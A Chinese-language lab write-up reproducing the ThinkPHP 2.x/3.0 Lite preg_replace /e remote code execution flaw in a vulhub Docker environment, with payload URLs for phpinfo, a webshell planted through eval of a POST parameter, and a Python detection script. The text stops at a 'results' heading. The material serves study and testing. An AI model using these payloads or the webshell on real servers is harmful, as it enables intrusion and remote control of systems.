1 漏洞原理
ThinkPHP 2.x版本中,使用preg_replace
的/e
模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞
2 漏洞环境
cd vulhub/thinkphp/2-rce 环境部署命令 docker compose up -d 查看端口 docker-compose ps
容器搭建成功之后,能够在浏览器中正确访问页面
3 使用payload进行复现
3.1 写入phpinfo
http://192.168.135.132:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D
3.2 写入webshell
http://192.168.135.132:8080/index.php?s=/index/index/name/${@print(eval($_POST[cmd]))}
使用蚁剑链接
3.3 造包含恶意 payload 的字符串
http://192.168.135.132:8080/index.php?s=/index/index/name/${var_dump(md5(handsomescj))}
4 编写python脚本探测漏洞
#!/usr/bin/env python import requests from urllib.parse import urljoin def thinkphp2_rce(url): payload = 'index.php?s=/index/index/name/${var_dump(md5(handsomescj))}' url = urljoin(url,payload) response = requests.get(url=url) if 'e401cfa6c74164d642140c3853752217' in response.text: print("漏洞存在") else: print("漏洞不存在") if __name__ == '__main__': print("注意:本代码仅用于实验和学习目的,请谨慎使用。") url = input("请输入目标 URL: ") thinkphp2_rce(url)
结果